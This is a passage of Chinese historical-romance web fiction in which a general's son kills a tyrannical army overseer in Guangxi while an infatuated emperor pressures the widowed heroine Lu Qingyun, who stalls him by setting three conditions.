周平不胜其烦,谢青天的亲哥哥如今是陛下身边大红人,宠信堪比万云。所以他清楚,姓谢的定是来混战功。 如果仅仅是混战功也就罢了,偏偏看起来还不安分,到时候如果非要插手,指不定闹出什么乱子。 他抽空去看望了下齐国公,忽然羡慕得很,他也想“病倒”了。 第65章 他想要她 历时近两个月, 大军抵达广西。 周平和当地将领会和后,先问清赵良所辖兵力情况,接着在城外安营扎寨,没急着交手。 他们带了充足粮草, 补给也及时, 周平就天天着人观察赵良那边状况, 其余时候正常练兵。 如此过去一个月, 其他人沉得住气,谢青天耐不住。他来这儿是为了平乱立功, 不是当缩头乌龟。 催到第三回 时,周平的理由无法再让谢青天满意,带着亲兵杀进主将大帐,皮笑肉不笑道:“周将军屡屡推脱,不肯出兵, 莫不是畏惧赵良威名, 怕吃败仗?” 周平:“广西多山林,又逢雨水丰沛,此时不宜出战, 冒然攻寨容易中伏。” 谢青天:“既然知道他们会设陷阱,提前防备不就是?” 周平:“……” 对着谢青天这个只会蛮干不懂兵法的督军,周平简直没法儿说。他才是主将,可面对谢青天, 竟有种秀才遇到兵的无奈感。 周平虽然领兵, 但他性情并不强硬, 在朝堂一众大将中偏柔。且家人、族人都在京城, 如果谢青天一纸书信添油加醋地寄回去,以陛下如今的性情, 指不定会如何折腾周家。 谢青天又找了几回,周平终于下令出兵。 如他所言,叛军占据地形和天气优势,极难攻下,几战下来,若非周平及时调整战术,他们都不止伤几千人。 谢青天阴阳怪气道周平无能,干脆亲自跟着他一起出战。 但谢青天那点武艺,在校场上和普通小兵耍耍威风还行,真到了前线,还得周平另外护着他。 这次不仅没有得胜,还白白损失了七千人性命,周平也因谢青天捣乱而身受重伤,躺倒在帐中。 因此,齐国公不得不接过领兵之权。 齐国公仍是病恹恹模样,但不负诸多人对他的期望,他把从湖广、云南调集善攀越、耐瘴气的苗兵单独组成千人规模的轻装山地营,专攻丛林突袭,随后占据红水河与右江交汇处的八渡关,以铁索横江封锁河道,切断叛军购入武器的补给线。 紧接着,让细密探混入田州,散布了一则“赵良欲独吞朝廷招安好处”的谣言。 田州内部果然产生动乱,齐国公趁此时发力,先夺了一城。 谢青天仍不满,因为夺城时他正好在养伤,没有参与其中。 更令他气愤的是,夺下一城后齐国公就没动静了,说什么要“缓攻为守”。 他故技重施逼齐国公出兵,人却不上套,又“病倒”了。 半月后,烈阳将中军大帐染成血色,谢青天冲进帐中,指着齐国公鼻尖:“昨夜紫微星动,我卜得虎踞龙盘的上上卦,国公爷竟敢违抗天意!” 齐国公扶着案几咳嗽,塞边沾着药渍,颤巍巍展开羊皮地图——三天前他们在这张图上用朱砂圈出的陷阱,此刻正被谢青天的指甲戳得咯吱作响。 “东麓看似平坦,实则.……”齐国公话音未落,谢青天突然掀翻药碗。 褐色的汤药泼了齐国公满身,惊得满帐将领霍然起身。 “我不管其他,三万精兵寅时突袭!”谢青天掏出御赐金牌重重拍在案上,“谁敢不从,以谋逆论处!” 满帐寂静,看得出有些将领几乎要骂娘,都被齐国公用眼神给止住了。 李审言突然嗤笑出声,他踢开脚边破碎的瓷碗,剑穗上坠着的玄色香囊轻轻晃动。 “谢督军昨日还说‘天火焚城’,结果烧的是自家粮草。”他故意抬高声音,帐外巡逻的士卒放慢了脚步。 谢青天额角青筋暴起,抬手扫过来。 李审言偏头躲过,反手揪住他衣襟:“七千兄弟冤魂未散,你倒要再送三万人去喂叛军的弩箭?” “住手!”齐国公呵斥他。 李审言手微松,被吓了一跳的谢青天重重甩开他,瞥了瞥对方高大健硕的身形,到底没再动手,只道:“李德,你这儿子是要造反么!” 齐国公朝他告罪,“但督军之令,恕我也不能从命,强攻即便能胜,也是险胜,还要添上几万人的性命,实在不合适。” 谢青天又逼问几句,齐国公仍坚持不出兵,气得他毛发倒竖,只觉在众人面前失了颜面,阴测测道:“我这御赐令牌代表上意,你当真不听?” 齐国公沉默以对。 “好!”谢青天高声,“诸位都看到了,如今周将军重伤在榻,李德又公然违令,今天我就褫夺他的副将之位,今后大军由我代为统率,等周将军伤愈,再由其领兵。” 说完,让亲兵按军令处罚齐国公。 齐国公也不反抗,任谢青天带着人趾高气昂地把自己押出帐外。 不少人注意到这一幕,默默地围了过来,听清了谢青天的威胁之言。 谁能带他们打胜仗拿战功,谁拿他们的命来买功绩,他们还是分得清的。 第一棍落在齐国公身上时,有人暗暗握拳。 第二棍落下时,李审言冲了过来,像是隐忍怒气不得不低头,“方才是属下冒犯督军,属下愿代李将军受罚。” 谢青天狞笑,“倒是父子情深,你不说我还忘了,给李德再加三十棍,谁也不许代受!” 他就是要看李审言这气得双目发红却毫无办法的模样。 众所周知,齐国公如今身体大不如前,在帐外守卫和巡逻的小兵时常能听到他的咳嗽声。众人围观时低声耳语,了解到齐国公是不想拿他们的命去买战功才被谢督军记恨受罚时,所有人心中的天平已然倾斜。 谢青天犹在得意,他出身乡野,骤然得权,根本不把从前和自己同等地位的小兵当人,也不觉得这些所谓的将军有何值得尊重,理所当然地觉得所有人都该畏惧他身后的“天威”。 因此,当李审言挣脱束缚,三两步冲过来,一刀刺进他胸膛时,谢青天还没反应过来。 怔怔看着面无表情的李审言,谢青天低头再看鲜血染透的前襟,口中发出咯吱咯吱的声响,竟没留一个字就倒下了。 谢青天的十几个亲兵大惊失色,一人冲上前抱住谢青天,其余人抽刀对向李审言。 李审言冷笑一声,并不继续动手,扔掉佩刀,淡然立在人群中。 “你!”亲信想怒斥李审言,话还没出口,陡然感到背负寒芒。 他回过头,发现成百上千的士兵正默默盯着他们,目中闪烁的,绝不是善意。 ** 广西送来战报,道主将周平因战负伤,督军谢青天为国捐躯时,正在观舞的建帝先是皱眉,然后又松开。 他看到了李德领兵后连夺三县的消息。 怒火与喜悦相冲,让他神色较为平淡。 与之相对的就是谢青天的亲兄长谢云天了。 谢家兄弟俩一母同胞,相差不过三岁,感情极好。一听到弟弟身亡,谢云天先是悲痛流泪,紧接着道:“陛下,周将军是沙场老将,运筹帷幄,向来谨慎,怎会刚去广西不久就身受重伤?青天身为督军,坐镇后方,又怎么会轻易战死?” 建帝:“你的意思是,他们为人所害?” 谢云天:“臣不敢肯定,但臣还记得,陛下任命青天为督军时交待的那些话。” 建帝想起来了,他仍然提防李德,所以对谢青天说过,盯着李德,莫让他有机会彻底掌兵。 本以为有主将和督军掣肘,李德最多只能帮忙出谋划策,没想到局势瞬息万变,他远在京城,根本无法掌控。 建帝看着自己这几年十分宠爱的金紫光禄大夫,“那你觉得该如何?” “周将军负伤,确实不好再领兵,臣以为该另派大将去广西,并令锦衣卫同去,查清两人一死一伤的真相。倘若青天真是为国捐躯,臣为他自豪,倘若他是……臣定要为他报仇!” 谢云天确有些本事,炼制的丹药也很得建帝欢心,如今一天不吃他就觉得浑身不适,因此很愿意顺其意,答应下来。 临阵换将是大忌,朝堂上听闻建帝想法,大都表示反对。内阁中柳阁老也难得明着违逆建帝意思,道此举不妥。 建帝领过兵,很懂其中道理,被臣子们一驳,虽然大发雷霆,到底没有强行颁旨。 不想面对谢云天的苦瓜脸,怕他吵得自己头疼,干脆到淑妃宫里来躲一躲。 他对王令娴还是有几分宠爱的,无它,宫里温柔贤惠的妃子太多,难得王令娴还有几分脾气,且她当时敢直接选择入宫,也让他新鲜了好一阵。 建帝踏入永宁宫时,王令娴正在廊下煮茶。青瓷盏里浮着两片丹砂色枫叶,在暮春时节显得格外刺目。 “陛下万安。”她行了一礼。 "在做什么?"建帝瞥见案上散落的《肘后备急方》,书页间夹着张泛黄药方。 王令娴执起鎏金执壶,琥珀色茶汤在日头下泛起碎金:“臣妾听闻陛下近日少眠多梦,特意煮了这壶茶,加了些合欢皮与夜交藤。但谢大人的丹药那般灵验,倒显得臣妾班门弄斧了。” 建帝接过茶盏的手顿了顿,白玉盏壁上蜿蜒的水痕,恰似谢云天昨日在勤政殿痛哭时涕泪纵横的模样。 “谢卿……”他抿了口茶,桂圆香气裹着淡淡药苦,“他弟弟殁在广西。” 茶匙撞在冰裂纹盏托上,发出清越声响。 王令娴忙对失礼之举告罪,“臣妾失仪,只是想到陛下对谢大人的爱重,担心陛下。陛下可要保重龙体,万莫像上回般急火攻心。” 这话说得巧妙。建帝突然忆起半月前服丹后呕血,谢云天却说这是排毒必经之苦。 他看着王令娴,想到她是王家姑娘,于史书文章并不陌生,便三言两语把朝堂的事说了出来,摩挲着盏沿,“依你看,这换将之事……” 王令娴内心当然站在齐国公这边,不说齐国公是清蕴的公爹,单提起常出入宫廷的谢家兄弟,她对这两人的品性再了解不过。 典型的小人,奸佞。 但话不能说得太直白,也不能插手朝政,想了想,道:“陛下心中定然早有决断。” 建帝:“嗯?” 王令娴笑,“陛下怎会不知临阵换将的危害,应是碍于谢大人情面,当时才不得不答应下来吧。” 身为帝王,居然要考虑到别人的面子而做出违心之举。话刚说出口,建帝眉就拧起。 他在想一件事,自己到底对谢云天宠爱到了什么地步,连身边的妃子都认为自己会受制于一个臣子? 王令娴好像毫无所觉,继续慢悠悠地喝茶。 过了片刻,建帝突然笑,“朕记得,你和齐国公的儿媳陆氏是表姊妹吧。” 王令娴心头微跳,不知他为何突然提起这事,低声说是。 建帝看穿了她的小聪明,但也实实在在因这话留下了一根刺,多疑自负如他,现在不仅看齐国公李德不顺眼,连谢云天也不能再毫无顾虑地宠信。 不过,王令娴方才的姿态让他感到微妙的熟悉,随后想起一道曾经惦记多时的倩影。 李秉真突然病逝,当时他真心同情了姑母和表弟一阵子,自然不会兴起那种念头。如今时隔两年多,陆清蕴也快出孝了。 不知她现在是何种模样,倘若面对同样的问题,又会如何回答? 建帝:“你派人去齐国公府传话,请陆氏明日进宫。” 王令娴迟疑,直觉不该答应,“姐姐还在守孝,按理不宜走动,臣妾用什么名义请她进宫?” “齐国公为朕分忧,在外平乱有功,朕自然要照顾好他府上家眷。你如今协管后宫,传她进宫正合适。” ** 宫中来人传消息时,清蕴也很惊讶。 王令娴进宫后偶尔会派人赐礼,但从来不曾主动传她或者王家人进宫,这是头一次。 她想了想,重新找出当初藉香寻来的药,放入银簪。 时隔三年再次进宫,清蕴心态也与当时大有不同,那会儿对皇宫尚有几分好奇,如今则是异常平静。 直到看到王令娴,久未见面的姊妹俩心潮起伏,对视片刻,还是清蕴先开口,“娘娘容光更胜从前。” 王令娴扑哧笑,亲人久未见面,大都表示思念怜惜,说她瘦了,独独清蕴不同。 不过,这才是她认识的通达人意的清蕴。 入宫后虽然偶尔要伺候阴晴不定的天子,但脱离了母亲的束缚,王令娴确实自在许多。心态好,容光自然更盛。 陌生感瞬间消失,她拉着清蕴坐下,说自己传她,是担心齐国公父子离京,她在家会担惊受怕,故而请她进宫小聚。 清蕴根本不相信这理由,随后就察觉到了王令娴的暗示。 殿中还有旁人。 她很快意识到,除了皇帝,还有谁能堂而皇之地在后妃宫中旁观她? ………… 建帝的确在偏门后看这对姊妹俩相聚,他并没有告诉王令娴,是王令娴自己从宫人的异常举动中有所察觉,进而暗示清蕴。 不过,建帝即使知道她们已发现自己,也会无所谓。 他目光灼灼地欣赏临案的美人。 原本以为当时是因她的身份而兴起,时隔这么久,没想到陆清蕴仍能一眼激起他的兴趣。 建帝确定,他想要她。 第66章 陛下如果答应我三个条件,我就心甘情愿入宫 建帝开始频繁以嫔妃之名召清蕴进宫。 先是让司珍局特制十二支青鸾衔珠步摇赐下, 后命御药房每天往齐国公府送滋补药膳。 李贵妃贤惠守礼,做不出这样的举动,淑妃则是没有这样大的能耐。有心人稍一思索,就能推测出背后天子的身影, 自然而然浮想联翩。 其实古往今来, 无论是夺臣妻还是纳兄弟妻妾的皇帝都不少。建帝本来就越发荒唐, 现在有这个心思, 官员们竟不是很惊讶。 但背地里的议论肯定不会少。 在朝的王维章和王宗赫父子,当值的时候都收到了同僚暗地打探的目光。 王家这三代入仕的人太多, 京城地方皆有。王贞深知树大招风的道理,所以在孙儿进吏部后不久,就以年事已高、身体不适的理由致仕,建帝也爽快答应了。 如今王贞每天就在家含饴弄孙、浇花养身。 王宗赫来向祖父请安时,意外看到了清蕴的身影, 脚步顿时停住。 清蕴先打招呼, “三哥。” 王宗赫在二十出头的年纪官至三品,绝对称得上年轻有为。文官需要熬资历,他的仕途却格外顺利, 自家长辈都是举足轻重的人物,成亲后又得岳家看重,一路擢升至吏部侍郎,谁不羡慕? 不过, 他上个月刚和柳晚和离, 这件事也引起了诸多议论。 夫妻俩和离的理由, 说出来合理, 却也有那么点匪夷所思。说是自从二人成婚后,家中长辈接连身体抱恙、远在千里外的祖宅还遭了雷劈, 找名刹高僧卜算,说是两人犯了“日月双冲”之局,即命格虽贵却彼此不合,强行在一起恐损两家气运。 以柳、王两家势力,结亲、和离都是大事,外人猜想可能是两家出了什么变故或结仇,才用这个理由和离。结果两家依旧和气,甚至一起出资重修城隍庙。于是又有了第二种猜测,说王宗赫或柳晚哪方身体有疾,无法生育,为了顾及两家颜面,才用了犯冲的理由。 清蕴上个月还去看望或柳晚,见柳晚神色如常,不像勉强的模样,起初也像外人一样,怀疑王宗赫有暗疾。后来经过观察,则更怀疑两人的婚约从最初开始就是交易。 柳晚对表哥没有感情,说明有求于他。至于表哥所求,从他这几年擢升的速度就能看出来,这门婚事给他也带去了实打实的好处。 可能现在双方都差不多达成所愿,便分开了。 王宗赫身量修长,站在那里便如一柄长剑,锋芒内敛却又自有一股威严,薄唇轻抿时带着几分沉稳与冷峻。 步履从容地走来,他也唤了清蕴一声。 清蕴忍不住把他和柳晚的状态作对比,发现两人竟都差不多,成婚、和离好像对他们没有任何影响。 不过,王宗赫如果成心伪装,谁也看不出破绽。 “新得了一幅画作,我送来请外祖父鉴赏。”清蕴主动解释。 王宗赫点头,“我来请安。” 清蕴笑了下,顺势提壶倒茶,“这也是我新制的花茶,香而不腻,外祖父方才都夸赞,三哥也尝尝。” 这笑盈盈请他喝茶的模样太熟悉,几乎瞬间把王宗赫拉回十多年前。那时二人还无需遵守太多规矩,可以时常相聚见面,也能喝到一杯她亲手煮的茶。 品茶时,王宗赫才用余光注视斜对面的清蕴。 她穿了身素色长裙,裙摆轻垂,如云似雾,随着动作轻轻摇曳。发髻简单挽起,只用一支银色的发簪固定,没有过多的装饰,却更显自然,不掩清雅本色。 她快要出孝了,依旧打扮得十分素净,令人几乎要忘却从前。 王宗赫更注意的却是她长时间刻意保持的笑容。 她心情不好。 感觉王宗赫有话要同王贞说,清蕴主动道:“外祖父慢慢品画,我先去找外祖母了。” 王贞嗯一声,低头细细赏画,边听孙儿说官场上的事,偶尔指点几句。 末了,王宗赫道出近几个月来风风雨雨的传言,“祖父,齐国公领兵在外,大长公主也出京寻访名僧,表妹如今无人可依。倘若陛下强召,她势单力薄,恐怕无法违抗旨意。” 王贞:“你待如何呢?” “如果都察院和礼部官员联合上谏,祖父觉得可会有效?” 王贞笑了下,“如果放在五年前,应当能有些用处吧。” 王宗赫心微沉。 王贞道:“你可记得梁哀帝?” 梁哀帝?王宗赫立刻反应过来,这位是梁朝的最后一代帝王,极度昏庸好色,只要是见过的女子,但凡有几分姿色,都会不顾身份强纳进宫。 但有一种女子他不会强迫,出家为尼之人。所以在他当政期间,道观中的坤道大幅增加。 可这对当今陛下会有用吗?再者,如果因为这,就要让清蕴出家,对她来说未免太不公。 王宗赫觉得这方法不可行,自然不会对清蕴提起。 清蕴这边确实也正处于烦闷当中。 以她的身份,寻常人根本不敢冒犯,更别说起觊觎之心,偏偏面前是执掌一国权柄的帝王。 她不愿进后宫自然不是因为旁人想的守节,而是建帝并不符合她的要求。一则他是皇帝,嫔妃众多,想要在后宫中有一席之地,势必要不断争宠。二则他并非明君,且越来越有昏君的倾向,如今朝内就动乱不断,谁能料到今后? 李秉真在世时,清蕴无意做与皇帝纠缠不休的臣妻。如今即使能够恢复自由之身,她也对建帝毫无兴趣。 可建帝把时机安排得极好,早在她第一次奉命进宫和淑妃相聚后,就给大长公主介绍了一位云游的高僧。 据说那位高僧精通转世轮回之术,大长公主一心为已逝的儿子祈福,听闻这则消息,不疑有他地去找人。 此后,建帝才对清蕴步步紧逼。 他没有一道诏书直接把人纳进宫,而是每次用不同的方式,似乎故意想看她退无可退,不得不对他屈服的模样。 公爹远在广西,仍在平乱,可能都不曾知晓此事。 如果李审言在……想到这儿,清蕴微微出神,不知为何忽然想起他炙热的眼眸和为了对抗公爹而连睡几个月祠堂的举动。 违逆父亲和违逆天子,意义截然不同,他也会做吗? 时隔五日,建帝再次以李贵妃名义传清蕴入宫。 清蕴应召而去,不出意料地没看到李贵妃身影,而是建帝带着大皇子在练习射箭。 大皇子杨睿今年七岁,从卓越的身形和面容来看,他和建帝很像。许是因这点,建帝偶尔也会像寻常父亲一样教导他。 建帝拉弓,轻松射中靶心的瞬间,年纪尚小的大皇子满目崇敬。紧接着看到清蕴,先是惊讶,随后皱眉。 他还没到欣赏女子美丑的年纪,但知道清蕴身份,也听说过那些风言风语。 因此,在建帝令他自己练习拉弓,准备离开时,主动道:“父皇,那些先生都不如您,我想要您教。” 建帝哈哈笑起来,“那是自然,不过你这点功夫,还不够资格让朕一直陪着。” 大皇子抿唇,又道:“父皇在吃什么?可以给我尝尝吗?” 建帝在吃的是谢云天的丹药,如今他每天都离不得,轻飘飘回:“等你再大些就给你试试。” 眼见什么话都留不住父皇,大皇子一狠心,竟直接让锋利的弓弦割伤自己,痛叫出声。 建帝回首,看到这幕神色阴沉。他如今脑袋完全清醒的时候是少,可不代表傻了,什么时候连儿子都能插手自己的事? “传太医给大皇子治伤。”他道,“既然功夫不到家,这段时间就不用再习射箭了。” 大皇子怔住,眼睁睁看着建帝离去。 清蕴把这幕完全映入眼底,知道以自己现在的身份,在建帝眼中就如同待宰羔羊,随时都可取用,也几乎无人能够阻止。 随建帝走过这片园子,快到承乾宫时,清蕴忽然出声,“陛下。” 温温轻轻的声音,不似之前那样冷淡漠然。建帝心中一动,回头对上美人目光,忽然明白什么,让宫人和侍卫退到远处。 “怎么?” 清蕴低眸,“陛下的心意,我这段时日已然知晓。” 建帝笑,这是她头次没有自称臣妇。 “但陛下也知道,我曾经嫁与齐国公世子为妻,如今孝期未满,公爹又在外领兵平乱。如果在此时侍奉天颜,莫说都察院口诛笔伐,便是九泉之下的李氏先祖,怕也饶不了我。再者,我不过蒲柳陋质,岂敢当陛下垂青,更怕陛下只是一时兴起,故而只能回避。” 曾经惦记大半年没得手的人,时隔三年再燃起兴趣,建帝还是很有耐心的,“朕若只是一时兴起,何必大费周章?少思已去,朕作为兄长,既想帮他照顾你,也是怜惜你年纪轻轻,却要孤苦度日。” 清蕴敛去眼底的厌恶,“陛下如果答应我三个条件,我就心甘情愿入宫。” 建帝早就猜测她当初嫁给李秉真不是为情,八成是为利,也知道她是聪明识时务之人,此刻听到这些也不是很意外,点头示意。 “我如果进宫,必会惹来非议,此后在后妃命妇中也容易遭轻视。陛下让我进宫,就要立我为后,如此才能帮我立威。” 甫一开口就是重击,连建帝也挑了挑眉,“有野心。” 清蕴:“陛下只说行不行。” 建帝:“你先说第二个。” 清蕴点头,“这几月以来,谢云天因公爹之事处处与国公府为难,关于我的流言有大半是他所散。此人坏我名声,令我深恶痛绝,陛下处死他,才能让我出气。” 建帝深深看她,然而清蕴低着头,根本不与他对视。 这次,建帝依旧没说好与不好,“第三个呢?” 第67章 表哥对她,仍然有情 “做羹?”建帝疑心自己听错了。 清蕴:“是。” 建帝等她解释, 清蕴不急不缓道:“陛下虽说并非戏耍玩弄,但我心中难安,总想看到陛下心意。陛下贵为天子,不敢有损龙躯, 便请陛下亲自为我做一次羹汤。” 君子远庖厨, 且洗手作羹汤通常是女子为讨好心仪郎君而做的事。建帝听了, 却没有被冒犯的怒气, 更多是奇怪和疑惑。 看前两个要求,先要他立后, 随后让他杀最宠信的臣子。无论哪个都是狮子大张口,叫建帝笃定她是故意如此,提出一些她认为不可能完成的要求,以此拒绝。 没想到第三个要求如此简单。 慢慢积蓄的怒火突然消失。 不得不说,不喜走寻常路的建帝被这种反差勾起了极大兴趣, 也不训斥前两个要求无礼了, 而是道:“你想吃哪种羹?” “随陛下定。”清蕴道,“只有一点,这羹必须从头到尾都是陛下亲手所做。” 建帝:“三个要求, 非得一道完成,你才肯顺朕的意?” 这时候,清蕴才抬眸悠悠瞥他一眼,天生含情的桃花眼潋滟生波, 几乎有勾魂摄魄之感, “只要完成任一要求, 我便侍奉陛下。不过, 三者都做到了,我才会真正心甘情愿入宫。” 听罢半晌, 建帝突然高声大笑起来,上前两步,伸手抬起清蕴下颚,看着这张美人面,笑道:“古有褒姒妲己,依朕看,卿卿也不遑多让。” 清蕴弯眸,“就当陛下夸赞我的相貌了。” 建帝确实在夸她美,更是指她此举宛如祸国妖姬,他不信陆清蕴听不出来。 不过,反正现在也早有人暗中骂他昏君,她要做妖姬,倒也相配。 把修炼玩乐的事放到一边,建帝直接去做第三件事,做羹。 召来御厨询问,得知鸡蛋羹最为简单,建帝便要着手开始学了。 万云觉得不妥,一个女人罢了,纵使身份特殊些,美了些,又如何?陛下可以赏赐大批金银珠宝,却不该做这种有损威严之事。 万云提议,“让御厨做,陛下拿过去即可,难道陆夫人还能吃出是谁做的?” 建帝也是这么想的,他有耐心陪她玩,具体做到什么程度,则由他自己定。 他端着御厨故意做得品相一般的鸡蛋羹来,清蕴一看就笑了,“看来陛下确实不擅厨艺。” 建帝当然不擅长,他从出生起就是皇子,上百人围着伺候,连怎么生灶火都不清楚,怎么可能会做吃食。 清蕴道:“陛下可有受伤?” 建帝随口道:“被油溅了下而已,不算什么。” “被油溅?陛下莫非还先将鸡蛋炒过再蒸的吗?” 建帝刚要应是,对上清蕴目光,突然明白过来,蒸鸡蛋羹可能根本不会被油溅,她一句话就发现了。 建帝:“……朕重新做一份。” 这回建帝虽然还是没亲自上手,但他就站在旁边看御厨做,确保每一步都铭记在心,才拿过去。 因着有他在旁,御厨做得无比小心,也就忘了要粗糙些的交待,做了碗漂亮无比的鸡蛋羹。 清蕴又问:“这蛋羹好光滑,陛下用了什么特殊手法?” 建帝:“……”难道不是所有鸡蛋羹蒸出来都这么光滑,还得用手法? 他知道御厨每一步是怎么做,却不清楚每一步的意义。再次被委婉点出真相,忍着怒火问御厨,才知道要再搅拌蛋液后端起瓷碗震一震,如此才能让羹表面光滑细腻。 犟劲上来,建帝再不顾万云的劝阻,真正上手生火、热灶、打蛋、蒸蛋、滴油,做完了蒸蛋的整套流程,没让任何人插手。 只是做完这些,建帝衣袍也被熏黑一片,还被火燎了好些洞。 自觉这次再无任何可挑之处,他也不亲自去了,让内侍送去鸡蛋羹,自己则慢悠悠去寝宫沐浴更衣,等陆清蕴来问他,然后侍寝。 他沐浴一新,好整以暇地坐在案边,回头看到内侍仍是一人回来的,顿时眯眼。 “怎么?” “回禀陛下,陆夫人说,说……”内侍吞吞吐吐。 被万云踹了一脚,内侍忙跪地道:“陆夫人问这鸡蛋是不是陛下亲手养的鸡所下,奴婢不知该如何回,她就让奴婢走了。” 万云:“……” 建帝:“……” 脑海中顿时浮现陆清蕴的那句话,“这羹必须从头到尾都是陛下亲自所做。” 所以她的从头到尾,是指这鸡蛋得他亲手养的鸡所下,那油得他亲自榨,说不定连柴火、锅灶都得他亲自所制! 磨了磨牙,建帝被气笑了。 …… 建帝杀过来时,清蕴给白芷递去目光,让她安心在外,再起身行礼。 建帝脸色极冷,居高临下地看她,没唤人起身。 清蕴保持行礼的姿势不动。 大约一刻钟的功夫,建帝注意到她的腿在微微晃动,显然快要支撑不住,仍未开口给自己求情。忽然又想起来,陆清蕴就是这样的性子,表面上可以顺从无比,但真正要得到她的认可并非易事。 “起来吧。” 建帝落座,阴测测道:“你这第三个要求,就是诚心刁难。” 清蕴:“陛下是觉得做一碗羹比立后和处死谢云天更难吗?” 建帝冷笑,不和她争这口舌之利。他算是看出来了,第三件事听起来简单,实则全凭她解释,只要她有心,世上没人能做出达到她条件的羹。 这还是他选了个简单的鸡蛋羹,倘若是鱼羹、菜羹,岂不要他养鱼种菜? 小小阻拦可以视为情趣,一再拒绝就是不识好歹。 建帝对万云使个眼色,这间为清蕴而留的藏珠阁大门突然被关上,白芷也被强行带走。 光线越发幽暗,他大马金刀地坐在那儿,视线从清蕴的脸悠悠转至她纤细的腰身,再到她半掩在裙摆下的绣鞋,以及那曾被他把玩过的双手。 建帝赏美无数,仍不得不承认,陆清蕴是美人中的佼佼者,不仅在皮,也在骨。 指尖缓缓摩挲着鎏金扶手,玄色龙袍在幽暗中泛着冷光,建帝忽然起身朝清蕴走来。 他走得快,衣袍带翻了案几上的青玉香炉,香灰如雪霰般飞溅,有几粒沾在清蕴鸦青的睫毛上,像是将融未融的霜。 清蕴后撤半步,绣鞋跟抵上身后雕花楹柱,檀木冷硬的花纹透过轻纱直渗脊背。 “陛下亲口答应了三件事,如今一件事都没做到,就要毁约了吗?” 建帝:“你那三件事本就是为拒绝朕而设,朕若真的老老实实做了才傻。更何况,朕就是此刻要你,你当如何?” 建帝单手撑住楹柱,把人困在方寸之间,玩味又轻佻,“是咬舌自尽保全名节,还是用银簪刺朕咽喉?” 清蕴:“陛下希望我用哪种?” “无论哪种对朕来说都没区别,你若挣扎,朕反而更得趣。”建帝毫不掩饰他的特殊癖好。 清蕴颔首,“我知道了,怪不得谢大夫今日会特意来讥讽我,看来他对陛下的了解,远比陛下自己更甚。” 建帝明知她可能又是用拖延之法或者激将法,却还是想知道她到底要怎么说。 说到底,他也享受这种交锋,不然不会耐着性子做了一次又一次蛋羹。 “他如何讥讽你?” “陛下难道会不知吗?”清蕴却不详说了,“总之是笑我不自量力,妄图动摇他在陛下心中的地位。” 建帝心中迅速分辨出了这话的真假,冷笑一声,也不知是对清蕴还是对谢云天。 他低头吻去,被避开了,就去寻别处。 但美人就像根木头,不管他是亲近她,还是准备脱她衣衫,都站在那儿毫无反应。 建帝睡过很多女人,尤其是这两年,自愿或被迫侍奉的他人妇更见识了不少,有泪水涟涟,有温婉顺从,有献媚讨好,也有拼死抵抗。不管哪种,他都能得乐趣,唯独陆清蕴这种反应,最叫他厌烦。 正像他几年前设想的那般。 兼之一直被她用平静如水的目光看着,建帝只觉那眼神就像凉水,慢慢浇灭了满身欲()火。 他记起她之前应下的“心甘情愿侍奉”,二者滋味定然不同。 建帝又想了想,“非那三个要求不可?” 清蕴给予肯定。 就在建帝还想问什么时,万云硬着头皮在外叩门。 这种时候如无重要的事,万云绝不会不识趣,索性现在也找不到强迫她的乐趣,建帝阴沉地凝视清蕴,随后松开人,大步往外去。 他身影彻底消失的瞬间,清蕴身体微松,那枚握在袖中许久的药丸终究还是没用上。如果用上了,即便此刻能脱身,外面有万云和侍卫把守,还是很难善了。 幸好李贵妃和表姐王令娴都有意帮她,刚才应该是她们把人引走。 清蕴不指望这方法能第二次生效,如果建帝回去尝试,发现前两个条件还是难以达成,一怒之下再来寻她,恐怕无论她是什么反应,都不会再放过。 不过,她提出这三个条件的目的本来就是在拖延时间,因为她已经去信给大长公主和齐国公,想必两人现在都已经收到消息。 ** 建帝被事绊住了,有几天没来找清蕴,但仍不允许她出宫。 似乎是要给清蕴教训,他以李贵妃的名义,令她待在藏书阁摘抄《女诫》百遍。 清蕴本来就经常练字,抄书对她而言不难,也不算乏味,但失去自由的滋味总是不同。她压下浮躁的心情,每天都按时去抄书。 这间藏书阁位于后宫,嫔妃和未成年的皇子公主都可自由借阅书籍。宫中有人听说消息,故意来藏书阁看她,但这种时候她都会回避到隔间。 有白芷和李贵妃派的宫女守着,也没人好意思为了满足好奇心而强行闯入看她。 连着抄了两个时辰,清蕴搁笔,边揉捏手腕,边在思索如果那两人都来不及,而建帝再一次冲动或者吃药发狂,该怎么办。 其实她还有个怀疑。 守孝近三年皇帝都没想起她,偏偏在公爹领兵打了胜仗后召她进宫。联想到建帝曾经对齐国公府的忌惮,清蕴觉得,他很可能把部分对齐国公的怒火转到了她身上,或许是想以此羞辱齐国公府。 如果是这样,公爹一日没回京,皇帝就一日不会忘记她。 暴雨突然落下,瓦片被砸得噼啪作响,白芷去关窗时,清蕴看到了廊下正在走来的一大一小身影。 其中一人为大皇子,另一人……走近了,清蕴发现是王宗赫。 王宗赫如今为大皇子的先生,两人走在一起不稀奇。 似乎是来找一本这里才有的书。 听着大皇子命人寻书,清蕴在隔间站了会儿,而后开门走出。 大皇子惊了下,随后想到什么,抿唇不语。 他不喜欢这个人,因为此人的存在会让父皇背上违逆人()伦、罔顾礼法的罪名。 可经过先生的教导,他又清楚知道这些事并非此女所愿,她也是为父皇所迫。 大皇子走进去了,王宗赫还停留在廊下。 两人作寻常状打招呼时,王宗赫飞快看了她一眼,想告诉她礼部正上了折子为她请封“贞懿夫人”。但结果未定,还是没说。 “这段时日在宫中如何?” 清蕴:“贵妃娘娘和淑妃娘娘都待我很好。” 毕竟是在宫里,王宗赫没有问起和建帝有关之事,只是沉默着从袖中取出一卷纸递给白芷。 清蕴起初莫名,等看到几十张和自己字迹如出一辙的《女诫》时,顿在原地。 她也才抄了五天而已。 许久,清蕴抬眸看去。 外面暴雨倾盆,王宗赫立在廊下,恰好替她挡去了穿堂风,两人之间隔着一卷竹帘,墨香与雨声默然交织。 清蕴忽然意识到一件事。 表哥对她,仍然有情。 第68章 “既然要嫁,那就嫁我。” 寅时三刻, 陈危就被箭楼传来的梆子声惊醒了。 他摸索着把被夜露浸透的棉甲架在炭盆前,甲片间残存的湿气遇热蒸腾,在帐中漫开铁锈味的白雾。北风掠过箭楼,穿过罅隙, 将辽东特有的寒冽灌进他半敞的衣襟。 穿好衣裳, 他踩着满地凉意去巡视车阵和换防情况。 “大人, 东南瞭台换防完毕。”亲兵呈上铜符, 陈危嗯一声接过,动身走到箭楼上看了会儿, 确定毫无异状再回身。随意在方寸大小的台子上坐下,单手搭膝,他借着晨光摸出怀里的信纸。 